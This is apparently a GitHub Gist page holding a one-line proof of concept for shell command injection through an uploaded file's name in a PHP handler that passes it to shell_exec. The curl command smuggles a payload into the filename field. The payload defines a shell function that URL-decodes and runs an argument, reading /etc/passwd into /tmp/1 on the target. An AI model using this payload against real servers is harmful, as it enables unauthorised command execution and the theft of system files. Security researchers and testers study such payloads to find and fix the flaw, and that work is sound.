Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save santaklouse/cb6af87a5e6e67734f1c7c4c696a2b99 to your computer and use it in GitHub Desktop.

Select an option

Save santaklouse/cb6af87a5e6e67734f1c7c4c696a2b99 to your computer and use it in GitHub Desktop.
PHP shell command injection tru upload file filename used in shell_exec
curl -F 'language=en' -F 'type=email' -F "[email protected]; filename=\"||test(){ $(echo $1 | python -c 'import sys, urllib as ul; print ul.unquote(sys.stdin.read())') ; };test cat%20%2fetc%2fpasswd > /tmp/1 ;.mp3\"" --compressed 'http://localhost/upload_file'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment